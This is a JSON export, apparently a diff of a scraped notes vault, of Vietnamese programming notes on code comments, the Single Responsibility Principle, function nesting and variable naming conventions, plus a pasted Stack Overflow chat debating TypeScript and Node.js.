"Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày cập nhật": "2024-08-18T08:05:00.000Z", + "id": "Wo" + }, + { + "Tiêu đề": "Bản thân việc lập trình bằng ngôn ngữ bậc cao đã là một dạng comment", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Khái niệm cơ bản và nguyên lý lập trình/Nguyên lý/Viết comment/Bản thân việc lập trình bằng ngôn ngữ bậc cao đã là một dạng comment", + "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Dự án": { + "Mã dự án": "C2" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "![](https://www.commitstrip.com/wp-content/uploads/2016/08/Strip-Les-specs-cest-du-code-650-finalenglish.jpg) \r\nNguồn:: ", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày cập nhật": "2024-08-18T08:05:00.000Z", + "id": "Wp" + }, + { + "Tiêu đề": "Comment có thể cho thông tin sai, nhưng code thì không", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Khái niệm cơ bản và nguyên lý lập trình/Nguyên lý/Viết comment/Comment có thể cho thông tin sai, nhưng code thì không", + "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Dự án": { + "Mã dự án": "C2" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "Nguồn:: ![Don't Write Comments - YouTube](https://youtu.be/Bf7vDBBOBUA?si=Bv-qy1IX8R6quJ88&t=162)", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày cập nhật": "2024-08-18T08:05:00.000Z", + "id": "Wq" + }, + { + "Tiêu đề": "Comment cũng có bug, nhưng không giống như code, không có chương trình nào hỗ trợ debug được nó", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Khái niệm cơ bản và nguyên lý lập trình/Nguyên lý/Viết comment/Comment cũng có bug, nhưng không giống như code, không có chương trình nào hỗ trợ debug được nó", + "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Dự án": { + "Mã dự án": "C2" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "[[Comment có thể cho thông tin sai, nhưng code thì không]] \r\nNguồn:: ![Don't Write Comments - YouTube](https://youtu.be/Bf7vDBBOBUA?si=Bv-qy1IX8R6quJ88&t=162)", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày cập nhật": "2024-08-18T08:05:00.000Z", + "id": "Wr" + }, + { + "Tiêu đề": "Giải thích về thuật toán, các đánh đổi trong việc ra quyết định hoặc dẫn nguồn là các lý do tốt để comment", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Khái niệm cơ bản và nguyên lý lập trình/Nguyên lý/Viết comment/Giải thích về thuật toán, các đánh đổi trong việc ra quyết định hoặc dẫn nguồn là các lý do tốt để comment", + "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Dự án": { + "Mã dự án": "C2" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "Nguồn:: ![Don't Write Comments - YouTube](https://youtu.be/Bf7vDBBOBUA?si=ZEnXAAanTjXiK6jg&t=278)", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày cập nhật": "2024-08-18T08:05:00.000Z", + "id": "Ws" + }, + { + "Tiêu đề": "Hãy viết code sao cho mình khỏi comment", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Khái niệm cơ bản và nguyên lý lập trình/Nguyên lý/Viết comment/Hãy viết code sao cho mình khỏi comment", + "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Dự án": { + "Mã dự án": "C2" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "Nguồn:: ![Don't Write Comments - YouTube](https://youtu.be/Bf7vDBBOBUA?si=VW8eRGGkheksWlgW)", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày cập nhật": "2024-08-18T08:05:00.000Z", + "id": "Wt" + }, + { + "Tiêu đề": "Thay vì comment, hãy document. Thay vì giải thích cách code hoạt động, hãy hướng dẫn cách sử dụng nó", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Khái niệm cơ bản và nguyên lý lập trình/Nguyên lý/Viết comment/Thay vì comment, hãy document. Thay vì giải thích cách code hoạt động, hãy hướng dẫn cách sử dụng nó", + "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Dự án": { + "Mã dự án": "C2" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "Nguồn:: ![Don't Write Comments - YouTube](https://youtu.be/Bf7vDBBOBUA?si=OGmrsV75c4KYl7Rs&t=203)", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày cập nhật": "2024-08-18T08:05:00.000Z", + "id": "Wu" + }, + { + "Tiêu đề": "Viết comment", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Khái niệm cơ bản và nguyên lý lập trình/Nguyên lý/Viết comment", + "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Dự án": { + "Mã dự án": "C2" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "```dataview\r\nLIST \r\nFROM \"✍️Lập trình/Khái niệm cơ bản và nguyên lý lập trình/Nguyên lý/Viết comment\" \r\nWHERE file.name!=this.file.name\r\n```", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2024-02-01T15:54:00.000Z", + "Ngày cập nhật": "2024-08-18T08:05:00.000Z", + "id": "Wv" + }, + { + "Tiêu đề": "Việc tách một khối code thành một hàm khiến cho việc đọc từng dòng trở thành đọc từng bước", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Khái niệm cơ bản và nguyên lý lập trình/Nguyên lý/Việc tách một khối code thành một hàm khiến cho việc đọc từng dòng trở thành đọc từng bước", + "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Dự án": { + "Mã dự án": "C2" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "Nguồn:: ", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày cập nhật": "2024-08-18T08:05:00.000Z", + "id": "Ww" + }, + { + "Tiêu đề": "while familiarity is a perfectly fine reason, it is really a bad sign if it is the only reason", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Khái niệm cơ bản và nguyên lý lập trình/Nguyên lý/while familiarity is a perfectly fine reason, it is really a bad sign if it is the only reason", + "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Dự án": { + "Mã dự án": "C2" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "Can I know for what typescript is used for with a realtime example in which it is being used\r\n\r\n[](https://chat.stackoverflow.com/transcript/17?m=56479899#56479899)\r\n\r\nHey, team members can I be your friend?\r\n\r\n[](https://chat.stackoverflow.com/transcript/17?m=56479901#56479901)\r\n\r\nI am from Pakistan.\r\n\r\n[](https://chat.stackoverflow.com/transcript/17?m=56479903#56479903)\r\n\r\nI am 13 years old teenager trying to become fullstack developer\r\n\r\n[](https://chat.stackoverflow.com/transcript/17?m=56479906#56479906)\r\n\r\nI have learntadvance HTML basic CSS Medium Javascript and basic Node JS\r\n\r\n![Wietlol](https://i.stack.imgur.com/cUip8.png?s=16&g=1)\r\n\r\n[Wietlol](https://chat.stackoverflow.com/users/2764866/wietlol \"Wietlol\")\r\n\r\n[](https://chat.stackoverflow.com/transcript/17?m=56479917#56479917)[](https://chat.stackoverflow.com/transcript/17?m=56479895#56479895)\r\n\r\n@MuhammadSafeerHassan its a general purpose programming language, you could use it for almost anything as long as the tool/environment you want it to run for, supports it\r\n\r\n[](https://chat.stackoverflow.com/transcript/17?m=56479920#56479920)\r\n\r\n95% of what you could do in Typescript, you can do in Kotlin, C#, Python, or Rust just as well\r\n\r\n[](https://chat.stackoverflow.com/transcript/17?m=56479921#56479921)\r\n\r\nand the other way around too\r\n\r\n[](https://chat.stackoverflow.com/transcript/17?m=56479924#56479924)\r\n\r\ndont let these websters fool you into thinking that Typescript is the only language that runs on the browser\r\n\r\n[](https://chat.stackoverflow.com/transcript/17?m=56479925#56479925)\r\n\r\nif your goal is a job, try looking what languages/tools/services companies use in your area and learn those\r\n\r\n[](https://chat.stackoverflow.com/transcript/17?m=56479926#56479926)\r\n\r\nfor me for example, the primary demand near my place is Java and C#, so you will have a harder time looking for a job with Python\r\n\r\n[](https://chat.stackoverflow.com/transcript/17?m=56479927#56479927)\r\n\r\nalso, considering you are quite young, maybe the stuff they use now, they wont use in 5 years\r\n\r\n[](https://chat.stackoverflow.com/transcript/17?m=56479928#56479928)\r\n\r\nbut that chance is quite slim\r\n\r\n2 hours later…\r\n\r\n![Parking Master](https://i.stack.imgur.com/kHCN5.png?s=16&g=1)\r\n\r\n[Parking Master](https://chat.stackoverflow.com/users/17202960/parking-master \"Parking Master\")\r\n\r\n1:51 PM\r\n\r\n[](https://chat.stackoverflow.com/transcript/17?m=56480134#56480134)\r\n\r\n@Wietlol I've always looked at Typescript as some strange Javascript alternative that writes examples of functions for your code editor 😂\r\n\r\n[](https://chat.stackoverflow.com/transcript/17?m=56480135#56480135)\r\n\r\nI've never actually used typescript before lol.\r\n\r\n![Wietlol](https://i.stack.imgur.com/cUip8.png?s=16&g=1)\r\n\r\n[Wietlol](https://chat.stackoverflow.com/users/2764866/wietlol \"Wietlol\")\r\n\r\n[](https://chat.stackoverflow.com/transcript/17?m=56480136#56480136)\r\n\r\nI look at Typescript as an attempt to describe how horrible Javascript really is\r\n\r\n[](https://chat.stackoverflow.com/transcript/17?m=56480137#56480137)\r\n\r\nand it does quite a good job at it as well\r\n\r\n[](https://chat.stackoverflow.com/transcript/17?m=56480138#56480138)\r\n\r\nI would swap it out any time for almost any other language though\r\n\r\n![Parking Master](https://i.stack.imgur.com/kHCN5.png?s=16&g=1)\r\n\r\n[Parking Master](https://chat.stackoverflow.com/users/17202960/parking-master \"Parking Master\")\r\n\r\n[](https://chat.stackoverflow.com/transcript/17?m=56480139#56480139)\r\n\r\nYou don't like Javascript? How?\r\n\r\n![Wietlol](https://i.stack.imgur.com/cUip8.png?s=16&g=1)\r\n\r\n[Wietlol](https://chat.stackoverflow.com/users/2764866/wietlol \"Wietlol\")\r\n\r\n[](https://chat.stackoverflow.com/transcript/17?m=56480140#56480140)\r\n\r\nthe fake type system gives a false sense of security for a dev that is used to statically typed languages\r\n\r\n![Parking Master](https://i.stack.imgur.com/kHCN5.png?s=16&g=1)\r\n\r\n[Parking Master](https://chat.stackoverflow.com/users/17202960/parking-master \"Parking Master\")\r\n\r\n[](https://chat.stackoverflow.com/transcript/17?m=56480141#56480141)\r\n\r\nI built an AI desk robot that does anything I ask it and even plays videogames sometimes (and I did it with pure Javascript) so Javascript is pretty great lol\r\n\r\n![Wietlol](https://i.stack.imgur.com/cUip8.png?s=16&g=1)\r\n\r\n[Wietlol](https://chat.stackoverflow.com/users/2764866/wietlol \"Wietlol\")\r\n\r\n[](https://chat.stackoverflow.com/transcript/17?m=56480142#56480142)\r\n\r\nJavascript is just too easy to make mistakes with, it has too many different ways to do the same thing, it bulks up piles of legacy behaviour, and you constantly have to look for support in the target environments\r\n\r\n![Parking Master](https://i.stack.imgur.com/kHCN5.png?s=16&g=1)\r\n\r\n[Parking Master](https://chat.stackoverflow.com/users/17202960/parking-master \"Parking Master\")\r\n\r\n1:55 PM\r\n\r\n[](https://chat.stackoverflow.com/transcript/17?m=56480145#56480145)\r\n\r\nHow about Node.js wise? No need for browser support there lol\r\n\r\n![Wietlol](https://i.stack.imgur.com/cUip8.png?s=16&g=1)\r\n\r\n[Wietlol](https://chat.stackoverflow.com/users/2764866/wietlol \"Wietlol\")\r\n\r\n[](https://chat.stackoverflow.com/transcript/17?m=56480146#56480146)\r\n\r\nand the tooling is also not great\r\n\r\n[](https://chat.stackoverflow.com/transcript/17?m=56480147#56480147)\r\n\r\nFrontend devs were so preoccupied with whether or not they could run Javascript in the backend, they didn't stop to think if they should :P\r\n\r\n[](https://chat.stackoverflow.com/transcript/17?m=56480148#56480148)\r\n\r\nbut jokes aside, why would I choose to use NodeJS?\r\n\r\n![Parking Master](https://i.stack.imgur.com/kHCN5.png?s=16&g=1)\r\n\r\n[Parking Master](https://chat.stackoverflow.com/users/17202960/parking-master \"Parking Master\")\r\n\r\n[](https://chat.stackoverflow.com/transcript/17?m=56480149#56480149)\r\n\r\nBecause it's a huge group of developers who make awesome packages so you can literally program whatever you want with it without learning an extremely complex language like C#\r\n\r\n![Wietlol](https://i.stack.imgur.com/cUip8.png?s=16&g=1)\r\n\r\n[Wietlol](https://chat.stackoverflow.com/users/2764866/wietlol \"Wietlol\")\r\n\r\n[](https://chat.stackoverflow.com/transcript/17?m=56480159#56480159)\r\n\r\nthe primary reason to use NodeJS is familiarity \r\nif you are already familiar with JS/TS, and you, as frontend dev, want to do backend stuff, NodeJS is the way to go\r\n\r\n[](https://chat.stackoverflow.com/transcript/17?m=56480160#56480160)\r\n\r\nbut, while familiarity is a perfectly fine reason, it is really a bad sign if it is the only reason\r\n\r\n[](https://chat.stackoverflow.com/transcript/17?m=56480166#56480166)\r\n\r\nas someone who learned about a proper type system first-hand, anything that doesnt have a proper type system by itself is a pain to work with\r\n\r\n![Parking Master](https://i.stack.imgur.com/kHCN5.png?s=16&g=1)\r\n\r\n[Parking Master](https://chat.stackoverflow.com/users/17202960/parking-master \"Parking Master\")\r\n\r\n[](https://chat.stackoverflow.com/transcript/17?m=56480169#56480169)\r\n\r\nFor me, it's the nostalgia of Node.js when I used to program these huge projects on a little Raspberry Pi, and it's because I hate Java or C\r\n\r\n[](https://chat.stackoverflow.com/transcript/17?m=56480171#56480171)\r\n\r\nAnd running a simple \"npm i package\" is so simple to install any package you want\r\n\r\n[](https://chat.stackoverflow.com/transcript/17?m=56480172#56480172)\r\n\r\nI'm an NPM package developer myself. I like that you don't have to pay for anything and it's so easy to build a package. They usually get lots of downloads too\r\n\r\n![Wietlol](https://i.stack.imgur.com/cUip8.png?s=16&g=1)\r\n\r\n[Wietlol](https://chat.stackoverflow.com/users/2764866/wietlol \"Wietlol\")\r\n\r\n[](https://chat.stackoverflow.com/transcript/17?m=56480174#56480174)\r\n\r\nits funny, because the things you listed are pretty much the same in other major stacks\r\n\r\n![Parking Master](https://i.stack.imgur.com/kHCN5.png?s=16&g=1)\r\n\r\n[Parking Master](https://chat.stackoverflow.com/users/17202960/parking-master \"Parking Master\")\r\n\r\n2:04 PM\r\n\r\n[](https://chat.stackoverflow.com/transcript/17?m=56480175#56480175)\r\n\r\nOk, I'll see you later. Gotta get out of bed where I am lol. Have a good day (or night) ;)\r\n\r\n[](https://chat.stackoverflow.com/transcript/17?m=56480177#56480177)\r\n\r\nLol, really? I thought that was a more personal opinion but ok.\r\n\r\n![Wietlol](https://i.stack.imgur.com/cUip8.png?s=16&g=1)\r\n\r\n[Wietlol](https://chat.stackoverflow.com/users/2764866/wietlol \"Wietlol\")\r\n\r\n[](https://chat.stackoverflow.com/transcript/17?m=56480178#56480178)\r\n\r\nfor example, in C# or Java, there are also a huge group of developers with many extremely good and interesting packages freely available \r\nand installing those packages is done pretty much in the same way, either just edit the package.json (pom.xml, build.gradle, *.csproj, etc) or using the command line or even user interface of your IDE\r\n\r\n[](https://chat.stackoverflow.com/transcript/17?m=56480180#56480180)\r\n\r\nhosting is also free, the only thing that is a bit special is in Java, where you have to make a request to the maintainers of the central package repository to review your package to host it there\r\n\r\n[](https://chat.stackoverflow.com/transcript/17?m=56480181#56480181)\r\n\r\non the bright side, it does mean that you can trust that the packages from the central repo are safe to use\r\n\r\n[](https://chat.stackoverflow.com/transcript/17?m=56480182#56480182)\r\n\r\non the down side, you cant just upload stuff\r\n\r\n[](https://chat.stackoverflow.com/transcript/17?m=56480183#56480183)\r\n\r\nand the code has to be shared with the maintainers\r\n\r\n![Cerbrus](https://i.stack.imgur.com/i63aC.gif?s=16&g=1)\r\n\r\n[Cerbrus](https://chat.stackoverflow.com/users/1835379/cerbrus \"Cerbrus\")\r\n\r\n2:19 PM\r\n\r\n[](https://chat.stackoverflow.com/transcript/17?m=56480197#56480197)[](https://chat.stackoverflow.com/transcript/17?m=56480141#56480141)\r\n\r\n@ParkingMaster can it make me a sandwich?\r\n\r\n![Parking Master](https://i.stack.imgur.com/kHCN5.png?s=16&g=1)\r\n\r\n[Parking Master](https://chat.stackov", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-10-24T11:26:00.000Z", + "Ngày cập nhật": "2024-08-18T08:05:00.000Z", + "id": "Wx" + }, + { + "Tiêu đề": "Mỗi lớp, hàm, mô đun chỉ đảm nhiệm một nhiệm vụ xác định", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Khái niệm cơ bản và nguyên lý lập trình/Nguyên lý/Đơn nhiệm/Mỗi lớp, hàm, mô đun chỉ đảm nhiệm một nhiệm vụ xác định", + "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Dự án": { + "Mã dự án": "C2" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "## Nguyên lý SRP – Single Responsibility Principle\n\n### Ví dụ\n\nHãy giả sử bạn làm việc ở một công ty nào đó. Bạn đảm nhiệm đồng thời công việc của kế toán và thủ kho. Như vậy bạn đồng thời phải biết và tuân thủ quy trình nghiệp vụ của cả hai bên. Bất kỳ bên nào có sự thay đổi về yêu cầu nghiệp vụ bạn sẽ phải thay đổi theo. Ôm nhiều vai cùng lúc vừa vất vả, vừa không chuyên tâm, vừa khó thay đổi.\n\nLấy một ví dụ khác. Giả sử bạn phát triển một phần mềm quản lý. Phần mềm này có chức năng kết xuất báo cáo (từ dữ liệu) và in ấn báo cáo. Tôi tin rằng nhiều bạn sẽ nhồi chúng vào cùng một class vì cùng là làm việc với báo cáo! Như vậy class này có thể thay đổi vì hai lý do: (1) nội dung của báo cáo thay đổi, (2) định dạng của báo cáo thay đổi.\n\n### Nguyên lý SRP\n\nNguyên lý chữ S cho rằng, việc có nhiều lý do khác nhau dẫn đến thay đổi một class như trên là một thiết kế tồi. Hay nói cách khác, chỉ có một lý do duy nhất để thay đổi một class. Từ đây cũng dẫn đến một cách giải thích khác: mỗi class chỉ nên chịu trách nhiệm cho một phần duy nhất của phần mềm.\n\nQuay trở lại hai ví dụ trên, chức năng kết xuất báo cáo nên được đặt trong một class riêng, chức năng in báo cáo đặt trong một class khác. Hai nhiệm vụ khác nhau không đặt chung trong một class. Một người không nên đảm trách nhiều nhiệm vụ khác nhau.\n\n### Vận dụng\n\nLỗi thường gặp nhất khi các bạn học (và sử dụng) OOP là nhồi nhét đủ mọi thứ vào một class. Ví dụ, nhồi hết code giao diện với code xử lý nghiệp vụ và code xử lý dữ liệu. Đây là tình huống gặp đặc biệt nhiều khi dùng [console](https://tuhocict.com/net-console-mvc-library-1/) hay [windows forms](https://tuhocict.com/giai-phap-winforms-1-phan-tich-van-de-bai-toan-minh-hoa/).\n\nHãy cố gắng tách code ra nhiều class nhỏ theo chức năng của chúng sao cho mỗi class chỉ đảm nhiệm một nhiệm vụ xác định. Ví dụ, (1) class chuyên cho xuất thông tin của danh sách dữ liệu, (2) class chuyên cho nhập dữ liệu, (3), class chuyên cho truy xuất dữ liệu, v.v..\n\nViệc tạo nhiều class nhỏ cũng có lợi thế so với một vài class lớn khi bảo trì code. Tuy nhiều class hơn nhưng mỗi class lại đơn giản hơn, do đó code ít bị lỗi hơn. Khi chỉnh sửa class nhỏ sẽ đơn giản hơn.\n\nĐể làm được việc này bạn phải phân tích rất rõ yêu cầu của bài toán. Từ đó đưa ra những chức năng chi tiết và hệ thống hóa chúng. Từ đó bạn xác định những class cần xây dựng sao cho mỗi class đảm nhiệm đúng một nhiệm vụ trong đó.\n\nNguồn:: [[tuhocict]], [Bộ nguyên lý SOLID - lập trình viên tương lai cần biết | Tự học ICT](https://tuhocict.com/bo-nguyen-ly-solid-lap-trinh-vien-tuong-lai-can-biet/)\n", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-10-24T11:26:00.000Z", + "Ngày cập nhật": "2024-09-02T08:10:00.000Z", + "id": "Wy" + }, + { + "Tiêu đề": "Sự couple dễ được sinh ra khi muốn xử lý các dữ liệu giống nhau về chức năng và na ná nhau về cấu trúc và cách xử lý", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Khái niệm cơ bản và nguyên lý lập trình/Nguyên lý/Đơn nhiệm/Sự couple dễ được sinh ra khi muốn xử lý các dữ liệu giống nhau về chức năng và na ná nhau về cấu trúc và cách xử lý", + "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Dự án": { + "Mã dự án": "C2" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "Ví dụ như `BàiĐăng` và `NơiĐăng` giống nhau về chức năng và na ná nhau về cấu trúc và cách xử lý\r\nNguồn:: [[Tự ngẫm nghĩ, trải nghiệm]]", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày cập nhật": "2024-08-18T08:05:00.000Z", + "id": "Wz" + }, + { + "Tiêu đề": "Tránh dùng hàm lồng để làm giảm sự couple", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Khái niệm cơ bản và nguyên lý lập trình/Nguyên lý/Đơn nhiệm/Tránh dùng hàm lồng để làm giảm sự couple", + "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Dự án": { + "Mã dự án": "C2" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "Function Nesting Use Cases _(mostly functional idioms, almost certainly incomplete since it's off the top of my head)_:\r\n\r\n- closures\r\n- function factory (programmatic function creation based on parameters)\r\n- creating functions by calling functool.partial\r\n- creating functions by using lambda\r\n- any other reasons you need to create functions during call time\r\n\r\nTrade-offs:\r\n\r\n- functions are strongly coupled\r\n- the code is always called (unless it's in an if block)\r\n- additional code complexity\r\n- additional runtime cost _(potentially, because the inner function get's re-defined with every call to the outer function)_\r\n- much harder to extend\r\n- much harder to introspect on the inner function defintion\r\n\r\nNguồn:: [[✍️Lập trình/Ξ Nguồn và tài nguyên hỗ trợ/Ξ Nguồn/Stack Overflow]], [When to use python function nesting?](https://softwareengineering.stackexchange.com/a/237944/192731)\r\n", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-10-24T11:26:00.000Z", + "Ngày cập nhật": "2024-08-18T08:05:00.000Z", + "id": "W-" + }, + { + "Tiêu đề": "Việc chia các lệnh trong kịch bản thành các hàm nhỏ hơn sẽ giúp dễ bắt lỗi hơn", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Khái niệm cơ bản và nguyên lý lập trình/Nguyên lý/Đơn nhiệm/Việc chia các lệnh trong kịch bản thành các hàm nhỏ hơn sẽ giúp dễ bắt lỗi hơn", + "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Dự án": { + "Mã dự án": "C2" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "[[Mỗi lớp, hàm, mô đun chỉ đảm nhiệm một nhiệm vụ xác định]]", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-10-24T11:26:00.000Z", + "Ngày cập nhật": "2024-08-18T08:05:00.000Z", + "id": "W_" + }, + { + "Tiêu đề": "Quy ước đặt tên biến", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Khái niệm cơ bản và nguyên lý lập trình/Quy ước đặt tên biến", + "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Dự án": { + "Mã dự án": "C2" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "# Kiểu viết\r\n| Kiểu viết | Ý nghĩa | Ví dụ |\r\n| ---------- | --------------------------------------------- | ----------------------- |\r\n| ALL_CAP | Hằng | `SỐ_PI` |\r\n| snake_case | Tên file. Riêng với Python thì là cả tên biến | `tên_file.js` |\r\n| kebab-case | URL | `https://đường-dẫn-url` |\r\n| camelCase | Biến, hàm, phương thức | `vậtThể` |\r\n| PascalCase | Lớp, kiểu, giao diện | `VậtThể` |\r\n\r\n# Tiền tố\r\n| Tiền tố | Ý nghĩa | Ví dụ |\r\n| ------------- | -------------------------- | ------------------ |\r\n| động từ | Hàm | `runFunction()` |\r\n| động từ to be | Biến boolean | `isTrue` |\r\n| `_` | Biến riêng (private/local) | `_privateMethod()` |\r\n| `$` | Dùng trong jQuery | `$_` |\r\n| `I` | Interface | `IString` |\r\n| `T` | Type | `TData` |\r\n\r\nTrong trường hợp `I` và `T` thì chúng được gọi là ký hiệu Hungary (Hungarian notation). Ngày xưa thì nó hữu ích, nhưng với những IDE mới hơn thì nó không còn cần thiết nữa. Dù vậy vẫn nên biết để có thể đọc code của người khác. \r\n\r\nTuy nhiên có hai loại ký hiệu Hungary. Loại ở trên gọi là Hungary hệ thống, là thứ không còn được khuyến khích. Còn với loại Hungary app thì vẫn hữu ích. Để phân biệt được chúng và hiểu được tại sao có thể xem bài [Making Wrong Code Look Wrong – Joel on Software](https://www.joelonsoftware.com/2005/05/11/making-wrong-code-look-wrong/)\r\n\r\n[[freeCodeCamp]], [Snake Case VS Camel Case VS Pascal Case VS Kebab Case – What's the Difference Between Casings?](https://www.freecodecamp.org/news/snake-case-vs-camel-case-vs-pascal-case-vs-kebab-case-whats-the-difference/)\r\n[[Viblo]], [Bàn về quy cách đặt tên (Naming Convention)](https://viblo.asia/p/ban-ve-quy-cach-dat-ten-naming-convention-3P0lPyem5ox)\r\n\r\n[[Việc đặt tên không có tiền tố gì sẽ tiện khi nó thường được dùng thường xuyên ở những nơi khác, ở trong một danh sách, hoặc khi dùng để liệt kê các thuộc tính]]", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-10-24T11:26:00.000Z", + "Ngày cập nhật": "2024-08-18T08:05:00.000Z", + "id": "X0" + }, + { + "Tiêu đề": "toString hoặc href sẽ luôn thêm slash vào sau", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Khái niệm cơ bản và nguyên lý lập trình/toString hoặc href sẽ luôn thêm slash vào sau", + "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Dự án": { + "Mã dự án": "C2" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "Nguồn:: \r\n[[String(x) giống x.tostring(), nhưng không gây ra lỗi nếu x là null hoặc undefined]]] ] ", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày cập nhật": "2024-08-18T08:05:00.000Z", + "id": "X1" + }, + { + "Tiêu đề": "Việc biến đổi dữ liệu chủ yếu là để người dùng đọc cho tiện, và để máy kiểm tra dữ liệu", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Khái niệm cơ bản và nguyên lý lập trình/Việc biến đổi dữ liệu chủ yếu là để người dùng đọc cho tiện, và để máy kiểm tra dữ liệu", + "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Dự án": { + "Mã dự án": "C2" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "Dạng vật thể thường là tiện cho người, dạng mảng thường là tiện cho máy\r\nNguồn:: [[Tự ngẫm nghĩ, trải nghiệm]]", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày cập nhật": "2024-08-18T08:05:00.000Z", + "id": "X2" + }, + { + "Tiêu đề": "Việc đặt tên không có tiền tố gì sẽ tiện khi nó thường được dùng thường xuyên ở những nơi khác, ở trong một danh sách, hoặc khi dùng để liệt kê các thuộc tính", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Khái niệm cơ bản và nguyên lý lập trình/Việc đặt tên không có tiền tố gì sẽ tiện khi nó thường được dùng thường xuyên ở những nơi khác, ở trong một danh sách, hoặc khi dùng để liệt kê các thuộc tính", + "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Dự án": { + "Mã dự án": "C2" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "## Liệt kê thuộc tính\r\n```js\r\nconst {\r\n\tURL: url,\r\n\t\"Tên nơi đăng\": tênNơiĐăng,\r\n\t\"Loại nơi đăng\": loạiNơiĐăng,\r\n\t\"Tên nền tảng\": tênNềnTảng,\r\n\t\"Mô tả nơi đăng\": môTảNơiĐăng,\r\n\t\"Loại nền tảng\": loạiNềnTảng,\r\n\t\"Vị trí\": vịTrí,\r\n} \r\n```\r\n## Nằm trong một danh sách\r\n```ts\r\nconst danhSáchNơiĐăng: NơiĐăng[] = [...] \r\nfor (const nơiĐăng of danhSáchNơiĐăng) \r\n```\r\n## Dùng thường xuyên ở nơi khác\r\nTại script `a.js` ta có như sau:\r\n```js\r\nconst cấuHình = {\r\n\tvịTrí: vậtThểVịTrí\r\n\tnơiĐăng: nơiĐăng\r\n} \r\n```\r\nDo `nơiĐăng` chủ yếu dùng ở ngoài script này nên nó không có tiền tố `vậtThể` trong tên biến. Ngược lại, `vậtThểVịTrí` 